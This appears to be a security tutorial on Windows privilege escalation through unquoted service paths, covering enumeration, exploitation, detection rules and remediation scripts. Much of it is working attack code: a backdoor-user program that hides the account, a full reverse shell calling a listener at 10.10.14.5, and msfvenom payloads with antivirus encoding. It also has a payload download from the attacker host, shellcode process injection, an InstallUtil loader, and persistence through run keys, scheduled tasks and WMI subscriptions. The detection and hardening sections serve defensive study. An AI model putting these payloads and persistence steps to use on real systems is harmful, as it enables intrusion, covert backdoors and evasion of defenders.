
Windows Privilege Escalation via Unquoted Service Path
Unquoted service path exploitation in Windows for privilege escalation, covering detection, exploitation techniques, and mitigation strategies.
Introduction
Unquoted Service Path vulnerabilities represent a classic privilege escalation vector in Windows environments that continues to plague systems despite being well-documented for over a decade. This vulnerability occurs when Windows services are configured with executable paths containing spaces but without proper quotation marks, allowing attackers to hijack service execution by placing malicious executables in intermediate directory paths.
The root cause lies in how Windows parses file paths. When the system encounters an unquoted path with spaces, it attempts to execute files at each space-delimited segment, working from left to right until it finds a valid executable. This behavior creates multiple injection points where an attacker with write permissions can place malicious binaries that execute with the privileges of the vulnerable service—often SYSTEM or Administrator.
While the concept is straightforward, unquoted service paths remain prevalent in enterprise environments, particularly in third-party applications and legacy software installations. According to security assessments, approximately 15-25% of enterprise Windows systems contain at least one exploitable unquoted service path vulnerability, making it a reliable privilege escalation technique during penetration tests and red team operations.
Why This Still Matters
Despite being documented since Windows XP, unquoted service path vulnerabilities persist because:
- Third-party installers often fail to quote service paths during installation
- Legacy applications created before security best practices were established
- Administrative oversight during manual service configuration
- Automated deployment scripts that don't enforce proper quoting
- Limited detection in standard vulnerability scanners
This vulnerability requires local access but frequently provides a reliable path from user-level access to SYSTEM privileges.
Technical Background
Windows Path Resolution Behavior
Windows uses a specific algorithm when resolving executable paths that contain spaces and lack quotation marks. Understanding this resolution order is critical to exploiting unquoted service paths effectively.
Consider a service configured with the following unquoted path:
C:\Program Files\Vulnerable App\Service\binary.exeWhen Windows attempts to start this service, it searches for executables in the following order:
First Attempt
Windows looks for: C:\Program.exe
If this file exists and is executable, Windows runs it instead of the intended service binary.
Second Attempt
If Program.exe doesn't exist, Windows tries: C:\Program Files\Vulnerable.exe
This requires write access to the Program Files directory (typically restricted).
Third Attempt
Next attempt: C:\Program Files\Vulnerable App\Service.exe
This location is more likely to be writable depending on directory permissions.
Final Attempt
Finally, Windows attempts: C:\Program Files\Vulnerable App\Service\binary.exe
This is the intended service executable path.
The key insight: Windows executes the first valid executable it finds in this search order. An attacker only needs write access to one of these intermediate directories to hijack service execution.
Service Privileges and Impact
The impact of exploiting an unquoted service path depends entirely on the privilege level at which the vulnerable service runs:
| Service Account | Privilege Level | Attack Impact |
|---|---|---|
| LocalSystem | Highest system privileges | Full SYSTEM access, complete control |
| LocalService | Limited system account | Network access, some registry keys |
| NetworkService | Network-focused account | Domain authentication, network resources |
| Administrator | Full administrative rights | Complete system control |
| Custom Domain Account | Variable privileges | Depends on account permissions |
Most third-party services run as LocalSystem or Administrator for compatibility reasons, making these vulnerabilities particularly valuable for privilege escalation.
Vulnerability Prerequisites
For successful exploitation, three conditions must be met:
- Unquoted Path with Spaces: Service path contains spaces without quotation marks
- Service Runs with Elevated Privileges: Service account has higher privileges than attacker
- Write Permissions: Attacker has write access to at least one intermediate directory
Permission Reality Check
While C:\Program Files is typically protected, many organizations:
- Grant write permissions to subdirectories for application updates
- Use custom installation paths outside Program Files (e.g.,
C:\Apps,D:\Software) - Configure folder permissions incorrectly during application deployment
- Leave world-writable directories from legacy installations
Always check actual permissions rather than assuming standard Windows ACLs are in place.
Detection and Enumeration
PowerShell Enumeration
The most reliable method for identifying unquoted service paths uses PowerShell to query WMI:
# Method 1: Comprehensive service enumeration
Get-CimInstance -ClassName win32_service |
Select-Object Name, State, PathName |
Where-Object {
$_.PathName -like "* *" -and
$_.PathName -notlike '"*"' -and
$_.State -like 'Running'
} | Format-Table -AutoSize
# Method 2: Include stopped services (may be exploitable on reboot)
Get-CimInstance -ClassName win32_service |
Select-Object Name, State, PathName, StartMode, StartName |
Where-Object {
$_.PathName -match "^[A-Z]:\\(?!.*\s.*).*\s.*\.exe" -and
$_.PathName -notlike '"*"'
} | Format-Table -Wrap
# Method 3: Filter for high-privilege services
Get-CimInstance -ClassName win32_service |
Where-Object {
$_.PathName -notmatch '^"' -and
$_.PathName -match '\s' -and
($_.StartName -eq 'LocalSystem' -or $_.StartName -like '*Admin*')
} | Select-Object Name, PathName, StartName, State, StartModeCommand Prompt Enumeration
For environments where PowerShell execution is restricted:
:: List all services with their paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
:: Alternative using sc query
sc query state= all | findstr "SERVICE_NAME:" >> services.txt
FOR /F "tokens=2" %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" | findstr /i /v "c:\windows\\" | findstr /i /v """Automated Tools
Several tools automate the detection process:
# PowerUp (PowerSploit)
Import-Module .\PowerUp.ps1
Invoke-AllChecks
# Specific check for unquoted service paths
Get-ServiceUnquoted
# Filter for exploitable paths
Get-ServiceUnquoted | Where-Object {$_.AbuseFunction}
# Output example:
# ServiceName : VulnerableService
# Path : C:\Program Files\My App\service.exe
# ModifiablePath: C:\Program Files\My App
# StartName : LocalSystem
# AbuseFunction : Install-ServiceBinary -Name 'VulnerableService'
# CanRestart : True# WinPEAS (Windows Privilege Escalation Awesome Scripts)
.\winPEASx64.exe quiet servicesinfo
# Look for output section:
# [+] Interesting Services -non Microsoft-
# VulnerableService(Company Name)["C:\Program Files\My App\service.exe"] - Auto - Running - LocalSystem
# File Permissions: Everyone [WriteData/CreateFiles]
# Possible DLL Hijacking in binary folder: C:\Program Files\My App (Everyone [WriteData/CreateFiles])
# Unquoted Service Path: C:\Program Files\My App\service.exe# SharpUp (C# port of PowerUp)
.\SharpUp.exe audit
# Focused check
.\SharpUp.exe audit UnquotedServicePath
# Output includes:
# === Unquoted Service Paths ===
#
# ServiceName : VulnerableService
# Path : C:\Program Files\My App\service.exe
# StartName : LocalSystem
# ModifiableDirectory: C:\Program Files\My App
# CanRestart : True# Custom PowerShell script with permission checking
$services = Get-CimInstance -ClassName win32_service |
Where-Object {
$_.PathName -notmatch '^"' -and
$_.PathName -match '\s'
}
foreach ($service in $services) {
$path = $service.PathName -replace '"', '' -split ' -' | Select-Object -First 1
$pathParts = $path.Split('\')
for ($i = 1; $i -lt $pathParts.Length; $i++) {
$testPath = ($pathParts[0..$i] -join '\')
if ($testPath -like "*.exe") { continue }
try {
$acl = Get-Acl -Path $testPath -ErrorAction Stop
$writeable = $acl.Access | Where-Object {
$_.FileSystemRights -match 'Write|FullControl|Modify' -and
$_.IdentityReference -match 'Users|Everyone|Authenticated'
}
if ($writeable) {
[PSCustomObject]@{
ServiceName = $service.Name
ServicePath = $service.PathName
WriteablePath = $testPath
ServiceAccount = $service.StartName
ServiceState = $service.State
StartMode = $service.StartMode
}
}
}
catch { }
}
}Permission Verification
After identifying an unquoted service path, verify write permissions to intermediate directories:
# Check directory permissions with icacls
icacls "C:\Program Files\My App"
# Look for entries like:
# BUILTIN\Users:(OI)(CI)(M) <-- Modify access for Users group
# Everyone:(OI)(CI)(F) <-- Full control for Everyone
# NT AUTHORITY\Authenticated Users:(OI)(CI)(M) <-- Modify for authenticated users
# Detailed PowerShell permission check
$path = "C:\Program Files\My App"
$acl = Get-Acl $path
$acl.Access | Where-Object {
$_.FileSystemRights -match 'Write|Modify|FullControl'
} | Select-Object IdentityReference, FileSystemRights, AccessControlType
# Test actual write capability
try {
$testFile = Join-Path $path "test_$(Get-Random).tmp"
New-Item -Path $testFile -ItemType File -ErrorAction Stop
Remove-Item $testFile -ErrorAction SilentlyContinue
Write-Host "[+] Write access confirmed to: $path" -ForegroundColor Green
}
catch {
Write-Host "[-] No write access to: $path" -ForegroundColor Red
}Service Restart Capabilities
An exploitable unquoted service path requires the ability to restart the service:
# Check if current user can restart service
$serviceName = "VulnerableService"
# Method 1: Direct check with sc
sc sdshow $serviceName
# Look for these Security Descriptor Definition Language (SDDL) components:
# RP - Start service (SERVICE_START)
# WP - Stop service (SERVICE_STOP)
# Method 2: PowerShell test
try {
Restart-Service -Name $serviceName -WhatIf -ErrorAction Stop
Write-Host "[+] Can restart $serviceName" -ForegroundColor Green
}
catch {
Write-Host "[-] Cannot restart $serviceName" -ForegroundColor Red
}
# Method 3: Check service permissions explicitly
$service = Get-Service -Name $serviceName
$servicePath = (Get-WmiObject Win32_Service -Filter "Name='$serviceName'").PathName
# Check if service starts on boot (exploitation via reboot)
$startMode = (Get-WmiObject Win32_Service -Filter "Name='$serviceName'").StartMode
if ($startMode -eq "Auto") {
Write-Host "[+] Service starts automatically on boot" -ForegroundColor Green
}Exploitation Techniques
Basic Exploitation Workflow
The exploitation process follows these steps:
Identify Vulnerable Service
Use enumeration techniques to find unquoted service paths with writable intermediate directories.
Verify Prerequisites
- Confirm write permissions to target directory
- Verify service runs with elevated privileges
- Check if service can be restarted or starts on boot
Create Malicious Payload
Compile or obtain a malicious executable that matches the expected filename.
Deploy Payload
Copy the malicious binary to the writable intermediate directory.
Trigger Execution
Restart the service or reboot the system to execute the payload.
Verify Success
Confirm elevated access or payload execution.
Payload Creation
Create a simple malicious binary that adds a backdoor user account:
// adduser.c - Adds administrative user account
#include <stdlib.h>
#include <stdio.h>
int main() {
// Add user account
system("net user hacker P@ssw0rd123! /add");
// Add to administrators group
system("net localgroup administrators hacker /add");
// Hide from login screen (optional)
system("reg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\" /v hacker /t REG_DWORD /d 0 /f");
return 0;
}Cross-compile on Linux using MinGW:
# For 64-bit Windows
x86_64-w64-mingw32-gcc adduser.c -o Program.exe
# For 32-bit Windows
i686-w64-mingw32-gcc adduser.c -o Program.exe
# Verify compilation
file Program.exe
# Output: Program.exe: PE32+ executable (console) x86-64, for MS WindowsReverse Shell Payload
For interactive access, create a reverse shell payload:
// reverse_shell.c - Windows reverse shell
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define TARGET_IP "10.10.14.5"
#define TARGET_PORT 4444
int main() {
WSADATA wsaData;
SOCKET s;
struct sockaddr_in server;
STARTUPINFO si;
PROCESS_INFORMATION pi;
// Initialize Winsock
WSAStartup(MAKEWORD(2,2), &wsaData);
// Create socket
s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
// Connect to attacker
server.sin_family = AF_INET;
server.sin_port = htons(TARGET_PORT);
server.sin_addr.s_addr = inet_addr(TARGET_IP);
connect(s, (struct sockaddr *)&server, sizeof(server));
// Redirect I/O to socket
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s;
// Spawn cmd.exe
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
// Cleanup
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
closesocket(s);
WSACleanup();
return 0;
}Compile with MinGW:
# Compile reverse shell
x86_64-w64-mingw32-gcc reverse_shell.c -o Program.exe -lws2_32 -s
# Strip symbols for smaller size
x86_64-w64-mingw32-strip Program.exe
# Start listener on attack machine
nc -lvnp 4444Using MSFVenom Payloads
Generate payloads using Metasploit Framework:
# Windows reverse TCP shell
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=10.10.14.5 \
LPORT=4444 \
-f exe \
-o Program.exe
# Windows Meterpreter reverse TCP
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.14.5 \
LPORT=4444 \
-f exe \
-o Program.exe
# Encoded payload to evade AV (example)
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=10.10.14.5 \
LPORT=4444 \
-f exe \
-e x64/xor_dynamic \
-i 5 \
-o Program.exe
# Start listener
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/shell_reverse_tcp; set LHOST 10.10.14.5; set LPORT 4444; exploit"Exploitation Example Scenario
Complete walkthrough of exploiting a vulnerable service:
# 1. Enumerate services and find vulnerable path
PS C:\> Get-CimInstance -ClassName win32_service |
Where-Object {$_.PathName -notmatch '^"' -and $_.PathName -match '\s'} |
Select-Object Name, PathName, StartName
# Output:
# Name : VulnService
# PathName : C:\Program Files\Acme Corp\Service Manager\service.exe
# StartName : LocalSystem
# 2. Check directory permissions
PS C:\> icacls "C:\Program Files\Acme Corp"
# Output:
# BUILTIN\Users:(OI)(CI)(M) <-- Users have Modify access!
# 3. Transfer malicious payload
PS C:\> Invoke-WebRequest -Uri http://10.10.14.5:8080/Program.exe -OutFile "C:\Program Files\Acme.exe"
# 4. Verify payload placement
PS C:\> Test-Path "C:\Program Files\Acme.exe"
# True
# 5. Restart the service
PS C:\> Stop-Service -Name VulnService
PS C:\> Start-Service -Name VulnService
# 6. Check for new admin account (if using adduser payload)
PS C:\> net user hacker
# User name hacker
# Full Name
# Local Group Memberships *Administrators *UsersOn the attacker's machine:
# Start HTTP server for payload delivery
python3 -m http.server 8080
# Start netcat listener (if using reverse shell)
nc -lvnp 4444
# Wait for connection...
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.45] 49826
Microsoft Windows [Version 10.0.19044.1234]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\systemAdvanced Exploitation Scenarios
Scenario 1: No Service Restart Permissions
If you cannot restart the service but it starts automatically on boot:
# 1. Plant malicious binary
Copy-Item .\Program.exe -Destination "C:\Program Files\Acme.exe"
# 2. Check service start mode
Get-CimInstance -ClassName win32_service -Filter "Name='VulnService'" |
Select-Object StartMode
# If StartMode is "Auto", wait for reboot or...
# 3. Check if system has scheduled reboot
schtasks /query /fo LIST | findstr /C:"Reboot" /C:"Restart"
# 4. Monitor for service restart events
Get-EventLog -LogName System -Source "Service Control Manager" -Newest 50 |
Where-Object {$_.Message -match "VulnService"}
# Alternative: Force system reboot (if you have permissions)
shutdown /r /t 60 /c "System will restart in 60 seconds"Scenario 2: Multiple Unquoted Paths
When multiple paths are available, prioritize based on writeability and service privilege:
# Create prioritization script
$results = @()
Get-CimInstance -ClassName win32_service |
Where-Object {$_.PathName -notmatch '^"' -and $_.PathName -match '\s'} |
ForEach-Object {
$serviceName = $_.Name
$servicePath = $_.PathName
$serviceAccount = $_.StartName
$serviceState = $_.State
# Parse potential injection points
$pathWithoutArgs = ($servicePath -split ' -')[0] -replace '"', ''
$pathParts = $pathWithoutArgs.Split('\')
for ($i = 1; $i -lt $pathParts.Length - 1; $i++) {
$testPath = ($pathParts[0..$i] -join '\')
$execName = $pathParts[$i + 1].Split('.')[0] + '.exe'
$fullExecPath = Join-Path $testPath $execName
# Check if directory is writable
try {
$acl = Get-Acl -Path $testPath -ErrorAction Stop
$writable = $acl.Access | Where-Object {
$_.FileSystemRights -match 'Write|Modify|FullControl' -and
$_.AccessControlType -eq 'Allow'
}
if ($writable) {
$priority = 0
if ($serviceAccount -eq 'LocalSystem') { $priority += 10 }
if ($serviceState -eq 'Running') { $priority += 5 }
if ($testPath -notmatch 'Program Files') { $priority += 3 }
$results += [PSCustomObject]@{
Priority = $priority
Service = $serviceName
Account = $serviceAccount
State = $serviceState
InjectPath = $fullExecPath
Directory = $testPath
}
}
}
catch { }
}
}
# Display prioritized targets
$results | Sort-Object -Property Priority -Descending | Format-Table -AutoSizeScenario 3: Antivirus Evasion
When AV is present, use obfuscation techniques:
// inject.c - Inject shellcode into existing process
#include <windows.h>
#include <tlhelp32.h>
// XOR-encoded shellcode (decode at runtime)
unsigned char shellcode[] = "\xfc\x48\x83\xe4...";
int main() {
// Find target process (e.g., svchost.exe)
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
DWORD targetPID = 0;
if (Process32First(hSnapshot, &pe32)) {
do {
if (strcmp(pe32.szExeFile, "svchost.exe") == 0) {
targetPID = pe32.th32ProcessID;
break;
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
// Open target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
// Allocate memory in target
LPVOID addr = VirtualAllocEx(hProcess, NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Write shellcode
WriteProcessMemory(hProcess, addr, shellcode, sizeof(shellcode), NULL);
// Execute via thread
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}# Use legitimate signed binary as loader
# 1. Find binary with DLL sideloading vulnerability
# Example: Many applications load DLLs from current directory first
# 2. Create malicious DLL with expected export names
# (requires reverse engineering target application)
# 3. Place DLL alongside legitimate executable
Copy-Item .\malicious.dll -Destination "C:\Program Files\Acme Corp\version.dll"
# 4. Rename legitimate executable
Rename-Item "C:\Program Files\Acme Corp\service.exe" -NewName "service_real.exe"
# 5. Create proxy executable that loads DLL then calls real service
# (stub executable that forwards to service_real.exe)# Use Microsoft-signed binaries as living-off-the-land technique
# Generate payload
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=10.10.14.5 \
LPORT=4444 \
-f csharp
# Create InstallUtil payload wrapper
cat > Program.cs <<'EOF'
using System;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Configuration.Install;
[System.ComponentModel.RunInstaller(true)]
public class Program : Installer
{
public override void Uninstall(System.Collections.IDictionary saved)
{
// Shellcode here
byte[] shellcode = new byte[] { 0xfc, 0x48, 0x83... };
UIntPtr addr = VirtualAlloc(UIntPtr.Zero, (uint)shellcode.Length,
0x3000, 0x40);
Marshal.Copy(shellcode, 0, (IntPtr)addr, shellcode.Length);
IntPtr hThread = CreateThread(UIntPtr.Zero, 0, addr,
IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
[DllImport("kernel32")]
private static extern UIntPtr VirtualAlloc(UIntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UIntPtr lpThreadAttributes, uint dwStackSize,
UIntPtr lpStartAddress, IntPtr param,
uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32")]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
}
EOF
# Compile
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library Program.cs
# Execute via InstallUtil (Microsoft-signed)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U Program.dll# Multi-stage payload with environmental keying
# Stage 1: Dropper checks for specific conditions
msfvenom -p windows/x64/custom/reverse_tcp \
LHOST=10.10.14.5 \
LPORT=4444 \
-f exe \
--encrypt xor \
--encrypt-key "MySecretKey123" \
-o stage1.exe
# Stage 2: Payload only executes in specific environment
# (e.g., only when run as SYSTEM, only on specific hostname, etc.)
# Compile with environmental checks
cat > checked_payload.c <<'EOF'
#include <windows.h>
#include <string.h>
int main() {
char username[256];
DWORD size = sizeof(username);
GetUserName(username, &size);
// Only execute if running as SYSTEM
if (strcmp(username, "SYSTEM") == 0) {
// Decode and execute payload
unsigned char payload[] = { /* encrypted shellcode */ };
// ... execution code ...
}
return 0;
}
EOFScenario 4: Post-Exploitation Persistence
After gaining SYSTEM access, establish persistent backdoors:
# Create new administrative account
net user backdoor "P@ssw0rd123!" /add
net localgroup administrators backdoor /add
# Hide account from login screen
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v backdoor /t REG_DWORD /d 0 /f
# Create scheduled task for persistence
schtasks /create /tn "SystemMaintenance" /tr "C:\Windows\System32\backdoor.exe" /sc onlogon /ru SYSTEM /f
# Add registry run key
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Windows\System32\backdoor.exe" /f
# Create WMI event subscription
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
Name = "SystemBootTrigger"
EventNamespace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
Name = "SystemBootConsumer"
CommandLineTemplate = "C:\Windows\System32\backdoor.exe"
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
Filter = $filter
Consumer = $consumer
}Detection and Monitoring
Event Log Indicators
Monitor Windows Event Logs for exploitation indicators:
# Service start/stop events with unusual executables
Get-WinEvent -FilterHashtable @{
LogName='System'
ID=7036,7040,7045
} | Where-Object {
$_.Message -match 'Program\.exe|Files\\.*\.exe' -and
$_.Message -notmatch 'C:\\Windows'
} | Select-Object TimeCreated, Id, Message
# File creation in Program Files (requires file system auditing)
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4663
} | Where-Object {
$_.Properties[6].Value -match 'C:\\Program Files' -and
$_.Properties[8].Value -match 'WriteData'
}
# Process creation from service accounts
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4688
} | Where-Object {
$_.Properties[1].Value -eq 'NT AUTHORITY\SYSTEM' -and
$_.Properties[5].Value -match 'Program\.exe|Files\\.*(?<!system32).*\.exe'
}Proactive Scanning
Regularly scan for unquoted service paths:
# Scheduled task to detect vulnerable services
$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-ExecutionPolicy Bypass -Command "Get-CimInstance win32_service | Where-Object {$_.PathName -notmatch ''^\"'' -and $_.PathName -match ''\s''} | Export-Csv C:\SecurityScans\unquoted_services.csv -NoTypeInformation"'
$trigger = New-ScheduledTaskTrigger -Weekly -DaysOfWeek Monday -At 2am
Register-ScheduledTask -TaskName "UnquotedServiceScan" -Action $action -Trigger $trigger -RunLevel Highest
# Email alert on detection
$services = Import-Csv C:\SecurityScans\unquoted_services.csv
if ($services.Count -gt 0) {
Send-MailMessage -To "[email protected]" -From "[email protected]" -Subject "Unquoted Service Paths Detected" -Body "Found $($services.Count) vulnerable services" -SmtpServer "smtp.company.com"
}SIEM Detection Rules
Splunk query for unquoted service path exploitation:
index=windows sourcetype=WinEventLog:System EventCode=7045
| rex field=Message "(?<ServicePath>[A-Z]:\\[^\"]+\s[^\"]+\.exe)"
| where isnotnull(ServicePath)
| eval IsUnquoted=if(match(ServicePath, "^\".*\"$"), 0, 1)
| where IsUnquoted=1
| stats count by ServicePath, ServiceName, ServiceAccount
| where count > 0Elastic Stack (EQL) detection rule:
sequence by host.name
[process where event.type == "start" and
process.parent.name == "services.exe" and
process.executable : "?:\\Program*.exe" and
not process.executable : "?:\\Program Files\\*\\*\\*.exe"]
[file where event.type == "creation" and
file.path : "?:\\Program*.exe"]Sigma Rule
title: Unquoted Service Path Exploitation
id: 8c7a03ea-1a10-4ea8-b840-07cc0c55e9b8
status: experimental
description: Detects execution of binaries from unquoted service path locations
references:
- https://attack.mitre.org/techniques/T1574/009/
tags:
- attack.privilege_escalation
- attack.t1574.009
logsource:
product: windows
service: system
detection:
selection:
EventID: 7045
filter:
ServiceFileName|re: '^[A-Z]:\\Program [^\\]+\.exe'
condition: selection and filter
falsepositives:
- Legitimate software with unusual installation paths
level: highMitigation and Remediation
Immediate Remediation
Fix vulnerable services by quoting service paths:
# Method 1: PowerShell remediation
$services = Get-CimInstance -ClassName win32_service |
Where-Object {$_.PathName -notmatch '^"' -and $_.PathName -match '\s'}
foreach ($service in $services) {
$serviceName = $service.Name
$oldPath = $service.PathName
# Extract executable path and arguments
if ($oldPath -match '^(.+?\.exe)(.*)$') {
$exePath = $matches[1]
$args = $matches[2]
$newPath = "`"$exePath`"$args"
# Update service path
& sc.exe config $serviceName binPath= $newPath
Write-Host "Fixed: $serviceName" -ForegroundColor Green
Write-Host " Old: $oldPath" -ForegroundColor Yellow
Write-Host " New: $newPath" -ForegroundColor Green
}
}
# Method 2: Direct sc.exe command
sc.exe config "VulnService" binPath= "\"C:\Program Files\My App\service.exe\""
# Method 3: Registry modification (requires reboot)
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\VulnService"
Set-ItemProperty -Path $regPath -Name "ImagePath" -Value "`"C:\Program Files\My App\service.exe`""Bulk Remediation Script
# Comprehensive remediation with logging and rollback
$logFile = "C:\Remediation\service_path_fixes_$(Get-Date -Format 'yyyyMMdd_HHmmss').log"
$backupFile = "C:\Remediation\service_path_backup_$(Get-Date -Format 'yyyyMMdd_HHmmss').csv"
# Backup current configurations
Get-CimInstance -ClassName win32_service |
Select-Object Name, PathName, StartName, StartMode |
Export-Csv $backupFile -NoTypeInformation
# Identify and fix vulnerable services
$vulnerable = Get-CimInstance -ClassName win32_service |
Where-Object {
$_.PathName -notmatch '^"' -and
$_.PathName -match '\s' -and
$_.PathName -match '\.exe'
}
$results = @()
foreach ($service in $vulnerable) {
$serviceName = $service.Name
$oldPath = $service.PathName
try {
# Parse path and arguments
if ($oldPath -match '^([A-Z]:\\.+?\.exe)(.*)$') {
$exePath = $matches[1].Trim()
$args = $matches[2].Trim()
$newPath = "`"$exePath`"" + $(if($args){" $args"}else{""})
# Verify executable exists
$exeOnly = $exePath -split ' -' | Select-Object -First 1
if (-not (Test-Path $exeOnly)) {
throw "Executable not found: $exeOnly"
}
# Update service configuration
$result = & sc.exe config $serviceName binPath= $newPath 2>&1
if ($LASTEXITCODE -eq 0) {
$status = "SUCCESS"
$message = "Service path successfully quoted"
}
else {
$status = "FAILED"
$message = $result
}
}
else {
$status = "SKIPPED"
$message = "Unable to parse service path"
$newPath = $oldPath
}
}
catch {
$status = "ERROR"
$message = $_.Exception.Message
$newPath = $oldPath
}
$results += [PSCustomObject]@{
Timestamp = Get-Date -Format 'yyyy-MM-dd HH:mm:ss'
ServiceName = $serviceName
Status = $status
OldPath = $oldPath
NewPath = $newPath
Message = $message
}
}
# Export results
$results | Export-Csv $logFile -NoTypeInformation
$results | Format-Table -AutoSize
# Summary
Write-Host "`nRemediation Summary:" -ForegroundColor Cyan
Write-Host "Total Vulnerable Services: $($results.Count)" -ForegroundColor Yellow
Write-Host "Successfully Fixed: $(($results | Where-Object {$_.Status -eq 'SUCCESS'}).Count)" -ForegroundColor Green
Write-Host "Failed: $(($results | Where-Object {$_.Status -eq 'FAILED'}).Count)" -ForegroundColor Red
Write-Host "`nBackup saved to: $backupFile" -ForegroundColor Cyan
Write-Host "Log saved to: $logFile" -ForegroundColor CyanPreventive Measures
Group Policy Configuration
While Windows doesn't have a built-in GPO setting to enforce quoted service paths, you can implement monitoring:
# Create GPO to audit service changes
# Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > System Audit Policies > System > Audit Security System Extension
# Enable service change auditing
auditpol /set /subcategory:"Security System Extension" /success:enable /failure:enable
# Create scheduled task to scan and report
$gpoPath = "\\domain.local\SYSVOL\domain.local\Policies\{GPO-GUID}\Machine\Scripts\Startup"
Copy-Item .\UnquotedServiceScan.ps1 -Destination $gpoPathFile System Permissions Hardening
Restrict write access to Program Files and other common installation directories:
# Remove write permissions for Users group
icacls "C:\Program Files" /remove:g "BUILTIN\Users" /t
icacls "C:\Program Files (x86)" /remove:g "BUILTIN\Users" /t
# Set proper permissions
icacls "C:\Program Files" /grant:r "BUILTIN\Administrators:(OI)(CI)F" /t
icacls "C:\Program Files" /grant:r "BUILTIN\Users:(OI)(CI)RX" /t
# Verify permissions
icacls "C:\Program Files" | Select-String "BUILTIN\\Users"
# Create audit rule for write attempts
$acl = Get-Acl "C:\Program Files"
$auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
"Everyone",
"Write",
"ContainerInherit,ObjectInherit",
"None",
"Failure"
)
$acl.AddAuditRule($auditRule)
Set-Acl "C:\Program Files" $aclApplication Deployment Standards
Implement secure deployment practices:
# Standard installation template
function Install-SecureService {
param(
[string]$ServiceName,
[string]$DisplayName,
[string]$ExecutablePath,
[string]$ServiceAccount = "LocalSystem"
)
# Validate executable path
if (-not (Test-Path $ExecutablePath)) {
throw "Executable not found: $ExecutablePath"
}
# Ensure path is quoted if it contains spaces
$quotedPath = if ($ExecutablePath -match '\s') {
"`"$ExecutablePath`""
} else {
$ExecutablePath
}
# Create service
New-Service -Name $ServiceName `
-DisplayName $DisplayName `
-BinaryPathName $quotedPath `
-StartupType Automatic `
-Credential $ServiceAccount
# Verify configuration
$service = Get-CimInstance -ClassName win32_service -Filter "Name='$ServiceName'"
if ($service.PathName -notmatch '^".*"$' -and $service.PathName -match '\s') {
Write-Warning "Service path may be vulnerable: $($service.PathName)"
}
else {
Write-Host "Service created securely: $ServiceName" -ForegroundColor Green
}
}
# Usage
Install-SecureService -ServiceName "MyApp" `
-DisplayName "My Application Service" `
-ExecutablePath "C:\Program Files\My Company\My App\service.exe"Continuous Monitoring
Implement ongoing monitoring for new vulnerable services:
# Create monitoring script
$script = @'
$smtpServer = "smtp.company.com"
$from = "[email protected]"
$to = "[email protected]"
$vulnerable = Get-CimInstance -ClassName win32_service |
Where-Object {
$_.PathName -notmatch '^"' -and
$_.PathName -match '\s'
} | Select-Object Name, PathName, StartName, State
if ($vulnerable.Count -gt 0) {
$body = $vulnerable | ConvertTo-Html -Head "<style>table {border-collapse: collapse;} th, td {border: 1px solid black; padding: 8px;}</style>" | Out-String
Send-MailMessage -SmtpServer $smtpServer `
-From $from `
-To $to `
-Subject "ALERT: Unquoted Service Paths Detected on $env:COMPUTERNAME" `
-Body $body `
-BodyAsHtml
}
'@
# Deploy via scheduled task
$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument "-ExecutionPolicy Bypass -Command `"$script`""
$trigger = New-ScheduledTaskTrigger -Daily -At 3am
